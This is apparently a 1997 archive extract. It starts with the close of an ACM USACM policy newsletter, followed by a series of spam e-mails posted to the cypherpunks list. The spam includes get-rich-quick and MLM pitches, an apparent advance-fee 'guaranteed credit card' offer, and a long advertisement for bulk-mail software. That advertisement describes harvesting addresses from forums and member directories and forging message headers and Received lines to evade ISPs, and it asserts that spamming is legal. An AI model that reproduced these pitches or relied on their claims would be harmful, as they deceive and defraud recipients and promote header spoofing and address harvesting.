invites you to submit your answers to these questions in the form of a
short position paper.  For more information, see
http://www2.nas.edu/cstbweb/549a.html

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

PROPOSED DATABASE PROTECTION LEGISLATION

Chairman Coble has introduced H.R. 2652, the Collections of Information
Antipiracy Act.  This database bill is designed as a misappropriation bill,
not a sui generis protection bill which had previously been proposed.  In
other words, it in theory does not create a property right in the database;
it simply prohibits the unfair use of the data one has collected.  As this
bill is drafted, however, there is little to distinguish it from a sui
generis protection bill.

Historically, the misappropriation approach in the U.S. is based on the
Supreme Court's holding that the state common law of misappropriation was
not preempted by the copyright law when it covered *hot news.*  This
doctrine was explained in the recent NBA v. Motorola case, where the Court
listed five conditions for misappropriation not to be preempted.  However,
H.R. 2652 appears far broader than the traditional misappropriation
doctrine. Significantly, traditional misappropriation is limited to time
sensitive information, while H.R. 2652 applies to all information.  Also,
the definitions in the statute are extremely vague.   The bill contains
several exceptions and exclusions, but they appear limited. Finally, H.R.
2652 contains civil and criminal penalties ($500,000 penalty and 10 years
in jail).

H.R. 2652 expressly does not extend to computer programs, but this
exclusion "does not apply to a collection of information directly or
indirectly incorporated in a computer program."  There are numerous
interpretations to that language.  For example,  would a command structure
be viewed as a collection of information incorporated in a program?  Or,
what about a look-up table for translation purposes?  One could argue that
the phrase "collection of information ... incorporated in a computer
program" refers to information related to the application rather the
functioning of the program itself.  For example, in a program designed to
determine structural stress, the engineering constants in the program would
be protected, while the interface specifications would not.  This
interpretation, however, is not clear from the face of the statute.
http://thomas.loc.gov/cgi-bin/query/z?c105:H.R.2652:

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

NATIONAL RESEARCH INVESTMENT ACT OF 1998 INTRODUCED

On November 7, Sens. Lieberman (D-Conn.) and Gramm (R-Texas) introduced S.
1305, the National Research Investment Act of 1998. The Act is designed to
reverse a downward trend in the federal government's allocation to science
and engineering research by authorizing the doubling of federal research
spending over the next ten years. According to Sen. Lieberman, "...Publicly
funded science has shown to be surprisingly important to the innovation
system. A new study prepared for the National Science Foundation found that
73 percent of the main science papers cited by American industrial patents
in two recent years were based on domestic and foreign research financed by
governments or nonprofit agencies."  He continued, "Yet, despite the
demonstrated importance of publicly funded scientific research, the amount
spent on science and engineering by the Federal Government is declining.
Senator Gramm has already noted that  in 1965, 5.7 percent of the Federal
budget was spent on non defense research and development. Thirty-two years
later, that figure has dropped by two-thirds to 1.9 percent."

On November 12, S. 1305, was discussed at a conference in Washington.  A
member of Senator Gramm's staff indicated that  passage of S. 1305 is
"going to be very difficult."  That is why the Bill supports a ten
yearperiod during which federal spending on R&D will continue to grow until
it is doubled in 2008.  S. 1305 differs from Gramm's previous bill because
of its bipartisan support.  Having both a Democratic and a Republican
original cosponsors will help to reassure other senators.

Also participating in this session were speakers from the AAAS and the
Office of Management and Budget.  AAAS recently calculated that total
federal R&D for FY 1998 increased 3.9% over last year.  Basic research
support increased by 4.0% (both figures subject to change as remaining
appropriations bill are passed.)   The OMB official predicted that
previously forecasted dramatic cuts in federal support for R&D seem
unlikely, as is a doubling of future federal support.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

DIGITAL SIGNATURES DISCUSSED IN CONGRESSIONAL COMMITTEES

The Senate Banking and House Science Committee held hearings on October 28
on digital signatures. The witnesses at the hearings recommended that any
bill proposed be limited in its scope. They argued that since many
companies are using digital signatures for different reasons, it would be
premature for Congress to pass far- reaching legislation. Andrew Pincus
from the Commerce Department noted "it seems unlikely that the market will
settle on one universal authentication mechanism." Senator Robert Bennett
(R-UT) announced that he is planning to introduce legislation early next
year.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

FEDERAL INVOLVEMENT SEEN AS CRUCIAL TO SCIENCE EDUCATION REFORM

Efforts are being made to improve U.S. K-12 science and math education.
An October 29  House Science Committee hearing reviewed the federal role in
improving science education and asked the question: is the federal
government coordinating its many programs for maximum effectiveness?
Committee Vice Chair Vern Ehlers (R-MI), who has run this series of
hearings, blamed the lack of a  national consensus for the current
"fragmented, mile-wide and inch-deep science and math curricula" that
students face.  He believes the federal government should play a role in
correcting this trend.

At an October 8 hearing in the same series, three experts in the field of
science education were invited to discuss the lessons learned from TIMMS,
the Third International Mathematics and Science Study which analyzed
international achievement in math and science at several grade levels.  The
TIMMS results showed that US fourth-graders performed above the
international average in math and were second only to South Korea in
science.  But by eighth grade, US students performed only slightly above
the international average in science and below the average in math.  This
drop in achievement from fourth to eighth grade, said TIMMS National
Research Coordinator William Schmidt, demonstrated that "US students don't
start out behind the rest of the world, but fall behind during the middle
school years."   All three witnesses attributed this failing of US math and
science education to the lack of a national consensus on what should be
taught at each grade.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

PRESIDENT'S COMMISSION RELEASES INFOWAR REPORT

The President's Commission on Critical Infrastructure Protection released
its final report on November 5.  The report recommends increased spending
for computer security and training and warns that currently, most major
U.S. infrastructures which depentd on computer systems are unprotected. In
a controversial section, it recommended that key escrow/recovery systems be
adopted.  The report was heavily criticized by industry representatives in
hearings before the House and Senate.  USACM member Peter Neumann testified
about the report before the House Science Committee on November 6, 1997
criticizing numerous findings of the Commision..

The President's Commission on Critical Infrastructure Protection was
established in July 1996 to examine both physical and electronic cyber
threats to eight key U.S. infrastructures (energy, telecommunications,
banking and finance, transportation, gas and oil storage, water supply
systems, government services and emergency service). The Commission will
develop a comprehensive national strategy for infrastructure assurance.

The full report is available at http://www.pccip.gov

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

NOMINATIONS AND NEW APPOINTMENTS

The President's National Security Telecommunications Advisory Committee was
established under Executive Order 12382 to provide the President with
technical information and advice on national  security telecommunications
policy. The committee is composed of  no more than 30 members who have
particular knowledge and expertise  in the field of  telecommunications and
who represent elements of the Nation's telecommunications industry. The
President appointed Mr. Charles R. Lee and Mr. Van B. Honeycutt to the
Committee.

The Advisory Committee on High Performance Computing and Communications,
Information Technology, and The Next Generation Internet will provide
valuable guidance and advice on all areas of high performance computing,
communications, and information technologies to the President, the Office
of Science and Technology Policy, and the Federal agencies involved in the
Computing, Information, and Communications R & D, including the Next
Generation Internet Initiative.  They will also provide valuable guidance
on the Administration's efforts to accelerate development and adoption of
Information technologies that will be vital for American prosperity in the
21st century.  The President announced his intent to appoint Mr. David W.
Dorman, Dr. Joe F. Thompson, Dr. Irving Wladawsky-Berger, and Dr. John P.
Miller to the Committee.

President Clinton announced his intent to appoint Dr. Jeffrey Jaffe, Mayor
Sharon Sayles Belton, Norman Mineta, and Joseph Holmes as Members to the
Advisory Committee to the President's Commission on Critical Infrastructure
Protection.  The Advisory Committee, which is made up of infrastructure
industry executives and private-sector leaders will advise and support the
President's Commission on Critical Infrastructure Protection.
 ________________________________________________________________________
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
Washington Update is a biweekly publication of the U.S. Public Policy
Office of the Association for Computing http://www.acm.org/usacm 666
Pennsylvania Ave., SE, Suite 302B, Washington, DC
20003. 202/298-0842 (tel), 202/547-5482 (fax).
________________________________________________________________________







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Biz-Man@Inteligence-9.com
Date: Mon, 17 Nov 1997 21:24:57 -0800 (PST)
To: WiseMan@Uwisefolk.com
Subject: -Make A Fortune In Foreclosures-
Message-ID: <17234426_149376>
MIME-Version: 1.0
Content-Type: text/plain



WEATHERS INVESTMENTS
5144 N Academy Blvd Suite 145
Colorado Springs, CO 80918-4002


Dear Friend:

Make a fortune in foreclosures in a unique way. Foreclosures are 
everywere, you can make more money then you ever dream. Don't be
fool by television advertisements asking you to send $100 or even
$200 dollars for there information on foreclosures.
We will send you all the facts you need.

Our booklet will teach you everything you will need to know about
foreclosures.
  *How to buy Foreclosures for pennies on the dollar
  *How to buy property without cash
  *How to deal with lenders
  *4-surefire ways to pick up free equity on property
  *Phone numbers and addresses to call
  *And much, much more

Don't miss this great Opportunity to make your fortune. Making a
fortune in foreclosures book of over 130 pages is only $29.95
plus &4.95 S/H. please allow 7 to 10 days for delivery. if you are
not 100% satisfied, simply return the book, and your money will be
galdly refunded. You can't lose!! Just fill out the attached order
form.


Sincerely,
 WAYNE

Weathers Investments

Weathers Investments 
4255 S Buckley Rd Suite 189
Aurora. CO 80013

1 (719)574-2751  fax 1(719)522-0212

Yes! Rush me your book on making a fortune in foreclosures. I am
enclosing a check or money order for $29.95 plus$4.95 for S/H.

Name_______________________________________
Address_____________________________________
City_______________State_____Zip_____________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: news@phonemenow.com
Date: Tue, 18 Nov 1997 05:10:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: A phone jack for your web site
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Dear cypherpunks@toad.com,

Announcing a new service for web pages from PhoneMeNow.  PhoneMeNow service provides 
your web site with instant connections to the public telephone network.  

Instantly connect your sales, customer service or other departments to browsers of 
your web site with the simple click of a button on your web site through
the public telephone network with PhoneMeNow service.

PhoneMeNow also offers virtual office, fax and find me services.

Visit our web site at www.phonemenow.com for further information about our
exciting new service designed to connect your web site to your customers. 

You may try out our service for FREE by visiting http://www.phonemenow.com.

http://www.phonemenow.com
news@phonemenow.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MakeCash@moremoney.com
Date: Tue, 18 Nov 1997 09:54:48 -0800 (PST)
Subject: No Subject
Message-ID: <199711181754.JAA28907@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


DATA
To: 
Date: Tue, 18 Nov 1997 07:37:12 PST
Subject: Make more money now!
X-Mailer: Emailer Platinum 3.1 (tm) by Internet Marketing Inc.

"Making Money On The Internet Just Got Easier... InsiderNet
      Internet Marketing. http://www.insidermall.com." 

I just found this site and it is wonderfull I signed up, and now I make over $1000.00 a month
in just  a few hours.

This is also the best advertisment for the money. I urge you to try it out.

When you subscribe ,use ID # 1336 to complete the form.

Internet Wealth
 If you've tested the waters, you know there are fortunes to be made on the Internet. You also know
 there's more to it than most would have you believe.  It's not hard... you just have to know how and
 have the right tools and resources. We will provide you with the tools, resources and contacts you
 must have to make money on the Internet.

The best information I've seen on the Net

George

Be sure to enter # 1336 on the form 

Good Luck, and I'll see you at the Bank!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joe Lang <gayart@internetmedia.com>
Date: Tue, 18 Nov 1997 12:56:08 -0800 (PST)
To: gayart@internetmedia.com
Subject: College Wrestler Promotes Gay Art!
Message-ID: <bulk.6433.19971118145804@ns.internetmedia.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi! As a college wrestler, I have spent much of time between 
matches creating awesome pencil art. I am pleased to invite 
you to visit my new website at:

http://www.gay-art.com

The site also includes some of my favorite toys and some great 
novelties. I hope you enjoy your visit to www.gay-art.com.

click here!

-----------------------------------------------------------------
Gay-art.com respects your online time and Internet privacy! 
This is a one time only invitation, your address will be deleted 
from our files. Thank you! 
-----------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Biz-Man@Inteligence-9.com
Date: Tue, 18 Nov 1997 14:47:46 -0800 (PST)
To: WiseMan@Uwisefolk.com
Subject: -FREE Vitamins & Business-
Message-ID: <70940415_12782605>
MIME-Version: 1.0
Content-Type: text/plain



***************************************************************
Amazing Income:  Unlimited!

Make Unlimited Money Without Taking a Single Order--EVER!

HOW?

1 -  Just give away NEW vitamin company's name brand "wholesale-
to-public" catalog offering free sample. (And/or promote the com-
pany's direct 800 # plus your extension in newspaper classifieds,
flyers, internet, etc, etc!)

2 -  Your customers will request free sample direct from company
using a toll free 800 number with YOUR very own free personal ex-
tension number imprinted next to 800#  on catalog, etc, etc.

3 -  Commissions! Automatically credited in computer to your ac-
count--you get monthly checks on all orders after sample!
   
*  Everyone gets free large bottle sample with or without ordering
*  Truly wholesale club prices of name brand vitamins
*  Goes well with other MLM businesses
*  No monthly purchasing requirement
*  Multilevel extras--6 Levels Deep!

Getting Started Today
Most people begin in this business by ordering reprints of our 
catalog. The cost is only $14 per 100 which includes shipping 
within the U.S. The Item # is Cat98 (Discounts are available for
larger quantities). Then they just stamp their # next to our Toll
Free Number in the space provided on the Free Large Bottle Sample 
Coupon (or for a nominal $3 per 100 get your # pre-imprinted),
place the catalogs where they will be picked up and read, mail 
them out to friends, etc. Anyone may simply make photocopies of
this flyer to introduce new customers to our products. Everyone
who receives the Free bottle will also get a full catalog listing
our entire product line. Hurry!

Order your free bottle today and get your very own free personal
extension # immediately You're In Business!

1-800-493-2328 ext. 116771   M-F 9am-5pm
****************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: marmac@online-success.com
Date: Thu, 20 Nov 1997 00:16:26 -0800 (PST)
To: hi3p@online-success.com
Subject: Online Success Direct E-Mail: Get Paid to Advertise!
Message-ID: <wtd35245883246yb245>
MIME-Version: 1.0
Content-Type: text/plain


ONLINE SUCCESS-THE DIRECT E-MAIL COMPANY THAT DOES 
IT ALL FOR YOU! 

If you have been looking at the exciting possibilities and INCOME that 
bulk e-mailing can bring to you, Online Success is the program for 
you, and it is a brand-new way to make money with 35million prospects 
online and more joining daily! 

We do ALL phases of bulk e-mailing for you. You collect the profits 
from your e-mail ads, and we do the work, month after month! Consider 
the benefits of having a professional bulk e-mailing firm working for 
you: 

ELIMINATE the hassles of lost dial-up ISP accounts, mail-bombs, 
undeliverable addresses, and expensive bulk e-mail software that 
doesn't perform as advertised! No more technical headaches and 
frustrations with so-called "bulk-friendly" providers that come and go 
every day. 

GET YOUR AD DELIVERED to 10,000 people every month! Best of all, we 
collect all the addresses, remove those we know that don't want e-mail 
ads, take out addresses like governments,schools,military and 
"flamers" BEFORE your mailing is ever sent! Your sales message only 
goes to buyers, not people who don't want bulk e-mail or should never 
be sent it! 

SIT BACK AND RECEIVE only prospects,sales, and further information 
responses. All mail is sent from Online Success, and all replies go 
directly to your account on our bomb-proof servers. We take out what 
you DON'T want: the flames,remove requests,and counter-offers, then 
send  YOU the responses that lead to profit! 

GET PAID by Online Success a very nice 50% commission for those you 
refer to our complete bulk e-mail services! Two ways to earn money: 
the results from your own 10,000 e-mails every month, and anyone you 
sponsor into the Online Success  program! 

NO GIMMICKS OR CATCHES to slow you down! Your ad runs completely
by itself, and you are allowed up to 200 lines to promote your business 
or service with the monthly 10,000 e-mails. Say GOODBYE to 
fly-by-night companies or silly pyramid schemes......Online Success is 
a PROFESSIONAL organization consisting of 10 bulk e-mailing experts 
that are dedicated to helping you turn the Internet into your personal 
gold mine! 

For the exciting full details on this one and only Direct E-Mail Plan, 
see the Online Success company's web site at: 

http://www.online-success.com 
or
http://www.direct-email.com

Thank You-
Marie         SPONSOR ID#368
  

P.S. Join NOW and get a MONTH of e-mails for FREE! You'll receive 
20,000 e-mails instead of 10,000, potentially DOUBLING your profits! 
Hurry, this offer from Online Success is for a limited time. Make sure 
you do not miss this new and exciting opportunity that will take the 
Internet by storm! 

To be removed from any future mailings from our company and many 
others, please reply with REMOVE as the subject. 
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Afriend@good-buddy-911.com
Date: Tue, 18 Nov 1997 21:36:28 -0800 (PST)
To: WiseMan@Uwisefolk.com
Subject: Best Internet Phone!! Read all about it.......
Message-ID: <99556025_93313642>
MIME-Version: 1.0
Content-Type: text/plain



INTERNET  PHONE!!
READ ALL ABOUT IT...
before everyone else...or after.

"The BIGGEST, HOTTEST news on the information highway is out!"

"INTERNET PHONE'S flat monthly fee replaces old, per-minute charges!"

"Call ANY phone, ANY where with your Internet Phone. No software
needed! No mic needed! Use any phone in your home!

"NO MORE LONG-DISTANCE TELEPHONE CHARGES!"

"WEBSITE LEASING program makes hi-quality pages affordable for
everyone."

"EARN A LEXUS & $1 MILLION with this revolutionary Internet technology."

"Networking and the Internet were made for each other -- this proves it!"

This is a sampling of the kinds of headlines you might be seeing within
the next 10 days, when our planned press release goes out to 90,000+ 
T.V. stations, radio stations, newspapers and magazines.  You can wait
and find out with everyone else...OR, if you want the opportunity to
get in early,

NOW IS THE TIME. This is the newest Internet technology in the world.
The owner of this company is a nationally-known, very successful
business man, Brady Keys, Jr. Pre-launch was NOV.15 in ATLANTA, GA!
WE WERE THERE! This is not a ground-floor opportunity -- 
THIS IS THE BASEMENT. YOU CAN BENEFIT FROM OUR E-MAIL BLAST SUPPORT!

                      BIG PAYOUT -- THE TIME IS RIGHT!
                              INTERNET PHONE
                      FLAT MONTHLY FEE OF $200 OR LESS

1-TIME ENTRY OF $150 GETS YOU 3 WEBSITES(3 pgs.ea.)-- $45 a month
hosting fee. You can earn a Lexus, and $1 million -- thousands per
month within easy reach.
               
Go to: http://www.mcwebnet.net
         
IF INTERESTED, SEND FOR FREE INFORMATION. FAX: 912-654-2069  
WE ARE VERY EXCITED ABOUT THIS AND EXPECT TO HAVE OUR LEXUS BY JAN. 1ST!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cb_brown@mail.jax.bellsouth.net
Date: Tue, 18 Nov 1997 21:56:14 -0800 (PST)
To: cb_brown@mail.jax.bellsouth.net
Subject: Trying To Reach You !!
Message-ID: <199711190555.AAA19085@mail.jax.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain


   UNSECURED CREDIT CARD AT YOUR DOOR BEFORE CHRISTMAS!!!!

Selective Marketing has joined hands with one of the Nations Largest

Credit Institutions in an effort to issue 20 Million Unsecured  Major

Credit Cards.  We have tried to make the process of getting your

unsecured credit card very simple and painless.  You will not be

asked to sign up with some network nor will you be asked to pay

a monthly fee for the credit card. You are guaranteed a credit card

even if you have bad credit,  bankruptcy, low income, charge offs,

or short time at residency. The process is simple.


Completely fill out the form below.  You have two options. You can 

mail or fax your request for your credit card. Include your processing

 fee of $9.95 ( US Dollars Only).

You can fax a check or send cashiers check or money order. 

The address is at the bottom of processing form. By the way,

your application fee is 100% guaranteed. If you do not

receive your credit card your application fee will be refunded.


Here is what you can expect. All faxed processing forms

with faxed checks will be given immediate attention.  

When we receive your order form we will send a 

credit card application form to you the very next day

that will require your signature.  

We are currently receiving hundreds of applications

per day.  Act now and you could have your credit

card by Christmas.

PROCESSING FORM:
-------------------------------------------------------------------------------------------------------------------------------
                                               CREDIT CARD PROCESSING FORM

Last Name_____________________ First Name___________________MI____

Address_________________________________________________________

State/Province______________________________

Country___________________________________

Country Code______________________________

E-mail____________________________________

Type of Card Desired  (  ) Matercard  (  ) Visa  (  ) Both

Amount of Credit Desired ( Max $5,000.00 )____________________

How do you rate your credit rating?  (  ) Great  (  ) Fair  (  ) Poor

Make all checks, money orders, and cashier checks payable to Selective Marketing.

If faxing your processing form and processing fee, fax to the following fax number:

( 904 ) 778-4597.

If mailing your processing form and processing fee, mail to following address:

Selective Marketing
1291 A South Powerline Rd Suite #101
Pompano Beach, FL 33069





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pizouguo91@shiny.it (Floodgate)
Date: Wed, 19 Nov 1997 07:08:21 -0800 (PST)
To: pizouguo91@shiny.it
Subject: Bulk Email For Profit
Message-ID: <199711191187JAA45583@post.silicon.net.my>
MIME-Version: 1.0
Content-Type: text/plain



******************************************************
        
            MAIL THOUSANDS OF EMAIL MESSAGES
                PER HOUR - NO KIDDING !!

          SEND YOUR EMAIL MESSAGES OUT, AT
         1,000's MESSAGES / HOUR (28.8K modem)

           YES, 1,000's  Of Messages An Hour

******************************************************

	MILLIONS  OF  EMAIL  ADDRESSES

                      ******** $100.00 *******

******************************************************

  YOU'LL RECEIVE 2 HIGH-SPEED EMAIL SOFTWARE PROGRAMS

Introducing...."FLOODGATE BULK EMAIL LOADER" 
        AND...."GOLDRUSH STEALTH MASS MAILER"

This is the same software that all bulk emailing services use!

----------------------------------------------------

Floodgate Bulk Email Loader Version 5.2 AND
Goldrush Stealth Mass Mailer Version 3.215
for Windows 95 and Windows 3.1 now Supports 17 
(really more with the free form filter) File Formats

----------------------------------------------------


SEND OUT 20,000+ MARKETING LETTERS EVERY SINGLE DAY!

Or...every few days. In fact, when I send out just a few thousand marketing letters each day, it doesn't take long before I'm completely swamped with email inquiries and phone calls. This is very easy to do. And each one of these bulk mailings costs me nothing. I can teach you how to do this and provide you with the tools you'll need.

If you've got a good marketing letter, I'll show you how to open the floodgates. You'll be deluged with inquiries, leads, and real sales, using nothing but email alone.

Writing a good marketing letter is not easy. I often have to rewrite my marketing letters a half dozen times before I get the results I'm looking for. But once you have a good letter, as you probably know, you can use the same letter over and over again, predictably and consistently, closing sales, week after week, month after month.

It takes me about one hour to send my marketing letter to THOUSANDS of fresh email addresses. I can do this, thanks to a Windows program I use. It's called Floodgate and Goldrush Stealth Mass Mailer. It's a bulk email loader and an email software program. If you're interested in electronic marketing, you should know about these programs.

PROGRAM #1: FLOODGATE FOR WINDOWS

The Floodgate Bulk Email Loader imports simple text files that anyone can download from CompuServe, Prodigy, Delphi Genie, or the Internet. These text files contain classified ads, forum messages, or data from the member directory. Each of these files is filled with email addresses.

Floodgate is designed to read these files and strip out the email addresses. It then sorts the addresses, removes any duplicates, and formats them into an output file, with 10, 20 or 30 addresses per line. This is all done in one simple step. Just point and click.

You'll need either a Windows based Internet account or an America On-line account to send out your marketing letters. Neither AOL nor the Internet charges to send email. Send your letter to 1,000 people or 10,000 people -- the cost is always the same. NOTHING!

NEW! PREPARE A MAILING OF 50,000+ 
IN LESS THAN A 1/2 HOUR

If you open an Internet account, you can send each letter to 20,000+ people. The new Floodgate now directly writes distribution lists. Some people are always collecting new addresses, but if you publish a newsletter or adsheet, you'll be using the same addresses over and over again. That's real power! When using addresses you've previously collected, you can press a few buttons and prepare a mailing of 50,000+ in less than a half hour.

(To get a list of all the Internet access providers in your local calling area goto: http://thelist.com and click on your area code.)

The Floodgate Users Guide will teach you, step by step, how to download the right files, how to strip the addresses, and finally, how to cut and paste the formatted addresses into your marketing letter. Or, if you have an Internet account, how to create distribution lists. One you've done this a few times you won't even have to think. It's that simple!

FOR THE BRAVE & DARING: PUSHING TECHNOLOGY TO ITS LIMITS

As you may know, the practice of sending unsolicited email is usually frowned upon, and most service providers have rules against it. But, like jay-walking, there is little enforcement. It's not illegal. If someone tells you that it is, ask them to provide the citation (and don't let them give you some nonsense about faxes - that's not email). They can't do it because it's not there. Sometimes, when a lot of people complain, I get a warning letter. And that's about it.

About 1 in 200 will write back and tell me, "take me off the list", which I can do, thanks to Floodgates Remove List feature. Many people reply back thanking me for sending them my informative letter. That's always nice. Most people though, just reply and say, "send me more info." In this way, it usually takes me two or three letters to close a sale.

The Floodgate Users Guide will provide you with proven formats for writing a successful marketing letter. You'll test and rewrite, test and rewrite. Then, once you've got it, just push a few buttons, and open the floodgates!!!

THE FLOODGATE BULK EMAIL LOADER CURRENTLY SUPPORTS 17+ FILE FORMATS

1. CompuServe Classifieds: Send your marketing letter to everyone who is running a classified ad. I'll teach you how to download all the classifieds from any single ad category. This is one of the most responsive list of buyers. They check their email every day and they're already in business.

2. America On-line Classifieds: Download 1,000 addresses in 15 minutes. These are excellent lists for business to business sales.

3. CompuServe Forums: You can join a forum and download hundreds of forum messages in a matter of minutes.

4. America On-line Forums: Choose from dozens of forums. All good targeted lists.

5. Prodigy Forums: Prodigy allows you to easily export any group of forum messages. More targeted lists.

6. Internet Newsgroups: These are all targeted lists. You'll be able to send your marketing letter to everyone who posts a message in any newsgroup. Easily collect 1,000's of addresses per hour.

7. America On-line Member Directory: Most member directories only allow you to search by city and state. With AOL, you can search by business type, hobbies, computer type, etc. This is the gem of all
member directories. Build huge targeted lists.

8. CompuServe Member Directory: This is a major resource. If you're willing to target your mailing to a single city, you can collect about 1,000 email addresses an hour.

9. Delphi Member Directory: The Delphi member directory allows you to search for people based on key words. These are good targeted mailing lists. A single search can easily generate 5,000 addresses.

10. Genie Member Directory: Similar to the CompuServe member directory, only you can download names much quicker. You can easily pull hundreds of thousands of addresses out of each of these member directories.

11. CompuServe File Cabinet: If you run classified ads, and save the responses in the CIM file cabinet, you'll be able to easily reuse these addresses. You can send your marketing letter to everyone in any single folder. Build master lists and clean UP your hard drive.

12. Free Form: If you have a text file with email addresses that floodgate does not support, chances are the Free Form filter will be just what you need. Just enter a key word to search for.

13. CompuServe Form Profiles (Forum Membership Directories): Easy to build targeted lists here. Each search can easily bring you 500+
addresses.

14. Genie Profiles: If you're building targeted lists, you'll get a lot of addresses very quickly from Genie.

15. Plain Addresses: Read Floodgate Master Files back into Floodgate to merge files and do selective mailings. Also useful for the management of email address lists that you might purchase.

Floodgate also has filters to allow you to include or exclude any groups of addresses in your final distribution lists. For example, you could include only email addresses that ended in .com or exclude all with .gov. You could exclude all noc, root, and other addresses that almost guarantee a negative response. These filters are fully configurable and can be used together.

BUILD REUSABLE MASTER FILES

Floodgate maintains Master Files for each of your marketing letters. If you download from the same place on a regular basis, you only want to send your letter to the new people. Floodgate will compare the new addresses with those in the Master File, and prepare a mailing list of only new people. The new addresses are, of course, then added to the Master File. With each new mailing your Master File grows and grows.

You may create as many Master Lists as you need. When you start a new marketing campaign, you'll want to send your new letter to everyone on your Master List. If you write a newsletter, each time you send your newsletter, you'll send it to everyone on a Master List.

THE REMOVE LIST

Very often, people will reply and tell you to take them off your mailing list. Place these addresses in the REMOVE.MST file and they will never receive another letter from you again. In this way, you will be operating your business with the most professionalism
possible.

DON'T BE FOOLED

We have some new competitors that have tried to copy Floodgate. The following list describes why Floodgate is BETTER.......

**Floodgate is a mature, bug free product. Not an initial release.
**Floodgate comes with over 100 pages of step by step       documentation.
**Floodgate is the only one offering a money back guarantee.
**Floodgate has more testimonials. 
**Filter for filter, Floodgate offers more capabilities, way more. 
**Floodgate does everything all the others *combined* claim. 
**Floodgate is by far the easiest to use.
**There is NO *cutting and pasting* with Floodgate. 
**We have by far, the BEST technical support.

SOME QUICK MATH

Floodgate can pay for itself in a few days. It can also cut your advertising costs down to almost nothing. Think of what the competition will do when they get their Floodgate program. Don't be left in the dust - there are 75 million people out there, just a few keystrokes away. Let's do the math:

- Email 50,000 sales letters (takes about 1-2 hours)
- Let's say your product will bring you $5 profit per   sale.
- Let's also say you only get a 1% response(occasionally higher).

* That's 500 orders x $5 = $2,500 profit !! Now imagine what 500,000 letters would do for your business !!

WHAT CAN I MARKET ON-LINE?

You can market anything on-line using direct email, that can be marketed using conventional postal direct mail marketing. The possibilities are practically endless. If it sells off-line, you can sell it on-line.

EASY TO INSTALL AND EASY TO LEARN

The Floodgate Email Loader requires Windows. The SUPPLIED MANUAL tells you where to go, what to do, and how to do it. All you need are basic computer skills that can be learned with a little practice or help from our computer savvy technicians.

PROGRAM #2: GOLDRUSH STEALTH MASS MAILER

Do not get this program confused with other slow speed programs that call themselves "STEALTH". This program is the only one in the world that can send email out at HIGH SPEEDS with one single connection to the internet. 

This is NEW, Cutting Edge Email Technology. First Of It's Kind.. The Most Powerful BULK EMAIL SENDER In The World.. NOTHING CAN EVEN COME CLOSE! 

Thanks to our top programmer's, this technology is NOW available and we are the only place you can get it from! 

     *ONLY "ONE" DIAL-UP OR ISDN CONNECTION NEEDED. 
     *NO MORE TERMINATED CONNECTIONS. 
     *NO MORE WAITING TO SEND LARGE AMOUNTS OF EMAIL. 
     *IMMEDIATE RESPONSE TO YOUR MASS MAILINGS. 
     *YOU WILL HAVE ALL THE CONTROL AND CONFIDENCE OF 
       SENDING EMAIL THE WAY IT SHOULD BE SENT... IN HUGE AMOUNTS! 
     *SEND YOUR WHOLE LIST IN ONE DAY, WHETHER IT BE 500,000 
       OR 5 MILLION - AND JUST SIT BACK AND WAIT FOR YOUR 
       ORDERS TO POUR IN. 
     *NO MORE DOWNLOADING UNDELIVERABLE NAMES.

Bulk Emailer's Dream Come True!!! - >>>GOLDRUSH STEALTH MASS MAILER<<< 

Connect to multiple mail servers (20 or more), make multiple connections to a single server or any combination of the two ( All Simultaneously ) with one single dial-up connection. 

SEND MULTIPLE SIMULTANEOUS MAILINGS... 

View complete details about your mailings. Shows each server your connected to, the status of that connection, how many messages are going out through that connection, etc...

We show you ALL the tricks all the mass e-mailers don't want you to know... 

Here are just a few features the GOLDRUSH STEALTH MASS MAILER offers to you... 

     *Forge the Header - Message ID - ISP's will Spin their wheels. 
     *Add's a Bogus Authenticated Sender to the Header. 
     *Add's a complete bogus Received From / Received By line with 
      real time / date stamp and recipient to the Header. 
     *Does NOT require a valid POP Account be entered in order to 
      send your mailings. 
     *Easy to use and operate 
     *Plus much more! 

All this, at speeds of up to 1,000's messages/hour
(28.8k modem). 

SPECIAL INTRODUCTORY PRICE... 

NOW YOU CAN HAVE BOTH THE FLOODGATE AND 
GOLDRUSH STEALTH MASS MAILER FOR JUST $499.00! 

UPDATE ... SAVE $149.05 AND ORDER NOW, BE ONE OF THE FIRST 100 ORDERS! 

Step up to the plate and play with the big boys TODAY and receive the COMPLETE 2 SOFTWARE PACKAGE for the unbelievably low price of ONLY $349.95! 

(Other bulk email software has sold for as much as $2,500 and can't even come close to the cutting edge technology of EASE, ACCURACY AND SPEED ... SPEED ... SPEED!) 

Try the Goldrush Stealth Mass Mailer & Floodgate Bulk Email Loader for 10 days FREE. 
And receive UNLIMITED technical support for 30 days.

**************************************************************

		MILLIONS OF  EMAIL ADDRESSES
	MILLIONS AND MILLIONS OF EMAIL ADDRESSES

CD with MILLIONS of email addresses separated by domain name.
All addresses are simple text format one per line. Addresses
from the following domains: Pipleline, MSN, MCI, Juno, Delphi,
